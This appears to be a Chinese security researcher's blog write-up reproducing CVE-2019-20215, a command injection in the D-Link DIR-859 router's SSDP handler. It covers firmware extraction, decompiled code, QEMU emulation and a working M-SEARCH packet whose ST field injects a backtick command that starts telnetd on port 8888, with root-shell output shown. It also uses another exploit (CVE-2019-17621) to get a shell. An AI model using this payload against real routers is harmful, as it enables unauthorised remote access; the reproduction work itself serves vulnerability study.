D-Link 路由器漏洞復現(CVE-2019-20215)
前言
本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,真機
CVE-2019-20215
漏洞描述

根據漏洞描述可以獲得到的信息:
- 漏洞點為
/htdocs/cgibin中的ssdpcgi()函數 - HTTP_ST的處理邏輯中存在命令注入
固件獲取
打開外殼,全封死了,準備放棄來著,但是在背面發現一個類似SOP8的東西,嘗試對它進行讀取

用燒錄夾一夾上就識別到固件,對它進行提取:
? Desktop sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2048 -r tp.bin flashrom on Linux 5.4.83-v7l+ (armv7l) flashrom is free software, get the source code at https://flashrom.org Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns). Found Macronix flash chip "W25Q128.V" (16384 kB, SPI) on linux_spi. Reading flash... done.
至此就獲得到了固件,雖然是1.02版本的,但無傷大雅:

在官網上也可以下載(http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-859)到含有漏洞的.bin文件,不過版本會高一些
逆向分析
通過對固件的解包,拿到cgibin之后,通過字符串很容易定位到漏洞函數中,可以看到HTTP_ST只是進行strncmp,并沒有進行過濾就直接傳遞給lxmldbc_system(),然后進行拼接就直接傳遞給system()函數,很明顯存在命令注入
int __fastcall ssdpcgi_main(int a1)
{
result = -1;
if ( a1 == 2 )
{
v2 = getenv("HTTP_ST");
v3 = getenv("REMOTE_ADDR");
v5 = getenv("REMOTE_PORT");
v4 = getenv("SERVER_ID");
if ( v2 && v3 && v5 && v4 )
{
if ( !strncmp(v2, "ssdp:all", 8u) )
{
v6 = "%s ssdpall %s:%s %s &";
LABEL_17:
lxmldbc_system(v6);
return 0;
}
if ( !strncmp(v2, "upnp:rootdevice", 0xFu) )
{
v6 = "%s rootdevice %s:%s %s &";
goto LABEL_17;
}
if ( !strncmp(v2, "uuid:", 5u) )
{
v6 = "%s uuid %s:%s %s %s &";
goto LABEL_17;
}
v7 = strncmp(v2, "urn:", 4u) != 0;
result = 0;
if ( v7 )
return result;
if ( strstr(v2, ":device:") )
{
v6 = "%s devices %s:%s %s %s &";
goto LABEL_17;
}
if ( strstr(v2, ":service:") )
{
v6 = "%s services %s:%s %s %s &";
goto LABEL_17;
}
result = 0;
}
else
{
result = -1;
}
}
return result;
}
int lxmldbc_system(char *format, ...)
{
char v2[1028]; // [sp+1Ch] [-404h] BYREF
va_list va; // [sp+42Ch] [+Ch] BYREF
va_start(va, format);
vsnprintf(v2, 0x400u, format, va);
return system(v2);
}
demo測試
當不確定是否存在漏洞的時候,建議還是寫個demo,減少誤判的可能,demo如下:
#include
#include
void sys(char *format, ...)
{
char value [1028];
va_list va;
va_start(va, format);
vsnprintf(value,0x400,format,va);
system(value);
}
int main(void){
char *command = "aaa;ls;";
sys("%s services",command);
return 0;
}
vsnprintf和snprintf的區別就是加了個可變的參數,具體可以看看下面的鏈接:
- 可變參數函數詳解(https://www.cnblogs.com/clover-toeic/p/3736748.html)
運行之后,成功執行命令:
? ./demo1 sh: 1: aaa: not found 1.c a.out demo1 demo1.c #ls sh: 1: services: not found
用戶級模擬
通過qemu暴露端口進行調試:
sudo chroot . ./qemu-mips-static -0 "ssdpcgi" -E REMOTE_ADDR=127.0.0.1 -E SERVER_ID=1 -E REMOTE_PORT=8888 -E HTTP_ST="urn:device:1;ls" -E REQUEST=/ -E REQUEST_METHOD=M-SEARCH -g 1234 ./htdocs/cgibin
-0: 要請求的cgi
E: 傳入自定義的環境變量
這個端口不僅IDA可以連,GDB也能連,下斷點到關鍵的位置,修改一下寄存器,因為是用戶級模擬的原因,需要繞過一些判斷才能看到拼接起來的命令
b *0x40f3b8 c set $a0=0x2

往下走就看到了完整的命令($s0寄存器中),也可以看到urn:device;ls,命令是成功注入進去了:

之后c一下就能看到它成功的執行了ls命令,至此確定它是存在命令注入的:

漏洞POC編寫
找到了漏洞點之后,就要想辦法去觸發這個漏洞,通常情況下是通過讓某個端口發包,讓它自己去觸發業務的邏輯,那首先就要構造惡意的數據包,所以去找一下處理這段數據的代碼,那還是通過字符串來定位,因為在開發的時候,大部分都是情況下多個程序都不是同一個人開發出來的,那怎么告訴別人這段代碼到底在做什么或者說兩個不同的程序之間是如何產生聯系的呢?答:字符串
通過grep匹配文件,可以看到下面匹配到了兩個二進制文件,一個是剛剛分析過的文件,剩下的文件沒分析過,我們用IDA打開看看
? squashfs-root grep -r "upnp:rootdevice"
匹配到二進制文件 htdocs/cgibin
匹配到二進制文件 usr/sbin/hostapd
etc/scripts/upnp/M-SEARCH.php: SSDP_ms_send_resp($TARGET_HOST, $phyinf, $max_age, $date, $location, $server, "upnp:rootdevice", $uuid."::upnp:rootdevice");
etc/scripts/upnp/M-SEARCH.php: echo "# SSDP_ms_send_resp(".$TARGET_HOST.", ".$phyinf.", ".$max_age.", ".$date.", ".$location.", ".$server.", \"upnp:rootdevice\", ".$uuid."\"::upnp:rootdevice\")";
etc/scripts/upnp/M-SEARCH.php: SSDP_ms_send_resp($TARGET_HOST, $phyinf, $max_age, $date, $location, $server, "upnp:rootdevice", $uuid."::upnp:rootdevice");
etc/scripts/upnp/NOTIFYAB.php: $nt = "upnp:rootdevice";
etc/scripts/upnp/NOTIFYAB.php: $usn= $uuid."::upnp:rootdevice";
拖進IDA之后,交叉引用很容易定位到關鍵點

來到關鍵處就能看到它先接收數據,然后對數據的一些字段進行處理,下面的代碼刪除了部分代碼,具體看hostapd,可以獲取到的信息如下:
- 一共有
M-SEARCH,host,st,urn:xxx:1,man,mx,ssdp:discover這些字段
v3 = *(_DWORD *)(a3 + 52);
addr_len = 16;
v5 = recvfrom(v3, v54, 0x63Fu, 0, &addr, &addr_len);
v6 = v5 <= 0;
v7 = (char *)&addr_len + v5;
if ( !v6 )
{
v7[20] = 0;
v8 = strncasecmp(v54, "M-SEARCH", 8u);
v9 = *(_DWORD *)&addr.sa_data[2];
v55 = *(unsigned __int16 *)addr.sa_data;
if ( !v8 )
{
v10 = v54;
if ( (*(_WORD *)(_ctype_b + 2 * v54[8]) & 0x80) == 0 )
{
...
LABEL_13:
v23 = v13 < v22;
do
{
--v22;
if ( !v23 )
break;
v23 = v13 < v22;
}
while ( (*(_WORD *)(_ctype_b + 2 * *v22) & 0x80) == 0 );
if ( sub_449284(v13, "host") )
{
v18 = 1;
goto LABEL_68;
}
v24 = sub_449284(v13, "st");
v25 = v13;
if ( v24 )
{
while ( 1 )
{
v26 = *v25;
if ( (*(_WORD *)(_ctype_b + 2 * v26) & 0x800) == 0 && v26 != '_' )
{
v27 = v25;
if ( v26 != 45 )
break;
}
++v25;
}
while ( 1 )
{
v28 = *v27;
if ( v28 != ' ' && v28 != '\t' )
break;
++v27;
}
v13 = v27;
if ( *v27 != ':' )
goto LABEL_69;
for ( i = v27 + 1; ; ++i )
{
v30 = *i;
if ( v30 != 32 && v30 != 9 )
break;
}
v13 = (char *)i;
if ( strncmp(i, "ssdp:all", 8u) && strncmp(v13, "upnp:rootdevice", 0xFu) )
{
if ( strncmp(v13, "uuid:", 5u) )
{
if ( strncmp(v13, "urn:schemas-upnp-org:device:InternetGatewayDevice:1", 0x33u)
&& strncmp(v13, "urn:schemas-wifialliance-org:service:WFAWLANConfig:1", 0x34u) )
{
v32 = strncmp(v13, "urn:schemas-wifialliance-org:device:WFADevice:1", 0x2Fu);
goto LABEL_37;
}
}
else
{
v13 += 5;
v31 = strlen((const char *)(a3 + 136));
v32 = strncmp(v13, (const char *)(a3 + 136), v31);
LABEL_37:
if ( v32 )
{
v27 = v13;
goto LABEL_69;
}
}
}
v17 = 1;
goto LABEL_68;
}
v33 = sub_449284(v13, "man");
v34 = v13;
if ( !v33 )
{
v6 = !sub_449284(v13, "mx");
v27 = v13;
if ( v6 )
goto LABEL_69;
for ( j = v13; ; ++j )
{
v40 = *j;
if ( (*(_WORD *)(_ctype_b + 2 * v40) & 0x800) == 0 && v40 != '_' )
{
v27 = j;
if ( v40 != '-' )
break;
}
}
...
LABEL_69:
while ( 1 )
{
v44 = *v27;
if ( !*v27 )
break;
v45 = ++v27;
if ( v44 == '' )
{
v46 = v45 - v13;
goto LABEL_73;
}
}
v46 = v27 - v13;
LABEL_73:
v13 += v46;
}
for ( l = v27 + 1; ; ++l )
{
v38 = *l;
if ( v38 != 32 && v38 != 9 )
break;
}
v13 = (char *)l;
v16 = 1;
if ( !strncmp(l, "\"ssdp:discover\"", 0xFu) )
{
v27 = v13;
goto LABEL_69;
}
}
}
}
}
交叉引用回去看看,可以看到一套socket建立的過程,里面也有此服務的ip和端口號,到此已經知道它是通過socket來觸發這個漏洞的,接下來就是通過動態調試來看看這些字段具體的參數到底是什么
int __fastcall upnp_wps_device_start(_DWORD *a1, const char *a2, int a3)
{
if ( !a1 || !a2 )
return -1;
v5 = a1[5];
v26 = 4;
if ( v5 )
sub_447CF4(a1, (int)a2, a3);
a1[6] = strdup(a2);
a1[12] = -1;
a1[13] = -1;
a1[5] = 1;
a1[15] = 0;
memset(v32, 0, 0x54u);
v6 = socket(2, 1, 0);
if ( v6 == -1 )
goto LABEL_39;
v32[17] = a2;
HIWORD(v32[1]) = 2;
LOWORD(v32[1]) = 0;
v32[2] = inet_addr("239.0.0.0");
HIWORD(v32[9]) = 2;
LOWORD(v32[9]) = 0;
v32[10] = inet_addr("255.0.0.0");
HIWORD(v32[13]) = 1;
v9 = 0;
if ( ioctl(v6, 0x890Bu, v32) < 0 )
{
v9 = -1;
if ( *_errno_location() == 17 )
v9 = 0;
}
close(v6);
if ( v9 )
goto LABEL_39;
v10 = 1;
for ( i = a2; v10 != 11 && sub_443E74(i, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7); i = a2 )
{
++v10;
sleep(1u);
}
if ( !a1[10] )
{
strcpy(v30, a2);
strcat(v30, ":1");
if ( sub_443E74(v30, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7) )
{
LABEL_39:
sub_447CF4(a1, v8, v7);
return -1;
}
}
v14 = socket(2, 2, 0);
a1[27] = v14;
if ( v14 < 0 )
goto LABEL_26;
v15 = 45555;
if ( fcntl(v14, 4, 128) )
goto LABEL_26;
while ( 1 )
{
v16 = a1[11];
v17 = a1[27];
*(_WORD *)v31.sa_data = v15;
*(_DWORD *)&v31.sa_data[2] = v16;
v31.sa_family = 2;
if ( !bind(v17, &v31, 0x10u) )
break;
++v15;
if ( *_errno_location() != 125 || v15 == 0xFFFF )
goto LABEL_26;
}
v18 = listen(a1[27], 10);
v13 = 4;
if ( v18 || (v19 = fcntl(a1[27], 4, 128), v12 = 4456448, v19) || eloop_register_sock(a1[27], 0, sub_444960, 0, a1) )
{
LABEL_26:
sub_44477C(a1, v13, v12);
goto LABEL_39;
}
a1[26] = v15;
v27[0] = 4;
a1[28] = 1;
v28 = 1;
v20 = socket(2, 1, 0);
v21 = v20;
a1[13] = v20;
if ( v20 < 0 )
goto LABEL_35;
if ( fcntl(v20, 4, 128) )
goto LABEL_35;
if ( setsockopt(v21, 0xFFFF, 4, &v28, 4u) )
goto LABEL_35;
v31.sa_family = 2;
*(_WORD *)v31.sa_data = 1900; //端口號
*(_DWORD *)&v31.sa_data[6] = 0;
*(_DWORD *)&v31.sa_data[10] = 0;
*(_DWORD *)&v31.sa_data[2] = 0;
if ( bind(v21, &v31, 0x10u) //綁定端口
|| (v29[0] = 0, v29[1] = 0, v29[0] = inet_addr("239.255.255.250"), setsockopt(v21, 0, 35, v29, 8u))
|| setsockopt(v21, 0, 33, v27, 1u)
|| eloop_register_sock(v21, 0, sub_4493DC, 0, a1) ) //設置ip
{
LABEL_35:
sub_4447F8(a1);
goto LABEL_39;
}
a1[14] = 1;
v22 = socket(2, 1, 0);
a1[12] = v22;
if ( v22 < 0 )
goto LABEL_39;
if ( setsockopt(v22, 0, 32, a1 + 11, 4u) )
goto LABEL_39;
if ( setsockopt(v22, 0, 33, &v26, 1u) )
goto LABEL_39;
v23 = sub_442950(a1);
v24 = 0;
if ( v23 )
goto LABEL_39;
return v24;
}
真機調試
這里用的是另一個漏洞來獲得調試,用CVE-2019–17621這個漏洞的exp打進去搭建一個調試環境,這里get到一個點,就是如果串口沒有拿到或者串口沒有提供shell的這么一個調試環境,可以看看這個固件有什么其他沒有修復的漏洞,可以用它來搭建一個調試的環境,直接運行exp就獲得了一個shell
? python exp.py IP Router: 192.168.0.1 [*] Connection 192.168.0.1:49152 [*] Sending Payload [*] Running Telnetd Service [*] Opening Telnet Connection Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
接下來就是通過wget傳入gdbserver來暴露調試接口,這里用的海特的gdbserver-7.12-mips-mips32rel2-v1-sysv,
# cd tmp # ls gdbserver
通過ps可以看到hostapd的PID是多少:
# ps PID USER VSZ STAT COMMAND ... 2470 0 788 S /bin/sh /etc/scripts/hostapd_loop.sh 2529 0 800 S /bin/sh 2793 0 2792 S stunnel /var/stunnel.conf 2824 0 1076 S udhcpd /var/servd/LAN-1-udhcpd.conf 2884 0 1512 S hostapd /var/topology.conf 3004 0 1076 S udhcpd /var/servd/LAN-2-udhcpd.conf 3289 0 1304 S mDNSResponderPosix -b -i br0 -f /var/rendezvous.conf 3380 0 1000 S dnsmasq -C /var/servd/DNS.conf ...
接下來就是正常暴露端口用gdb進行連接
./gdbserver :1234 --attach 2884 #另開一個終端 ? gdb-multiarch -q hostapd set arch mips set endian big target remote 192.168.0.1:1234
連接上之后,在0x449454處下斷點,按下c可以看到完整的報文頭,可以看到ST字段中存在urn:xxx:1,它就是注入的字段

按照上面的報文格式,構造報文,并在ST字段中進行注入,具體代碼如下:
ip = "239.255.255.250" port = 1900 backdoor = '`telnetd -p 8888 `' header = "M-SEARCH * HTTP/1.1" header += "HOST: "+str(ip)+str(port)+"" header += 'MAN: \"ssdp:discover\"\r' header += "MX: 1\r" header += "ST: urn:dial-multiscreen-org:service:dial;"+str(backdoor)+":1\r" header += "USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\r" print(header)
已經確定是通過發包觸發之后,接下來就是socket那一套了,創建套接字然后直接方法,這里用的是UDP來發送payload:
- socket --- 底層網絡接口((https://docs.python.org/zh-cn/3.9/library/socket.html#module-socket)
udp_socket=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP) udp_socket.sendto(pay,(ip, port))
完整exp可以自己嘗試寫寫,這里就不放了,運行exp之后就拿到了shell
? python exp.py M-SEARCH * HTTP/1.1 HOST: 239.255.255.2501900 MAN: "ssdp:discover" MX: 1 ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1 USER-AGENT: Google Chrome/87.0.4280.88 Windows Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
掃一下端口,發現多開了個8888的端口:
> nmap 192.168.0.1 Nmap scan report for dlinkrouter (192.168.0.1) Host is up (0.0058s latency). Not shown: 993 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 443/tcp open https 8888/tcp open sun-answerbook 9999/tcp open abyss #用CVE-2019–17621打開的端口 49152/tcp open unknown
系統級模擬
fat對于dlink似乎支持很好,真就一鍵模擬
sudo ./fat DIR859Ax_FW105b03.bin
等多一會就模擬成功了(記得等久一些):

其實模擬也就是在熟悉一下模擬的方法,還是多搞搞真機會比較好,畢竟模擬的和真的它不一樣
iot@attifyos > python exp.py M-SEARCH * HTTP/1.1 HOST: 239.255.255.2501900 MAN: "ssdp:discover" MX: 1 ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1 USER-AGENT: Google Chrome/87.0.4280.88 Windows Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # ls firmadyne var bin usr home lost+found sbin tmp etc proc sys www lib mnt htdocs dev #
總結
話講回來,構造數據包其實就是一個尋找漏洞文件與其他文件的關聯的這么一個過程,先通過字符串來定位到關鍵的地方,再逆向分析它與其他文件的關聯,這或許就是xuanxuan老師所講到的:“在IOT設備中的逆向和CTF中的逆向的區別”,最近發現cgi的文件似乎很常出問題,以后可以多關注一下它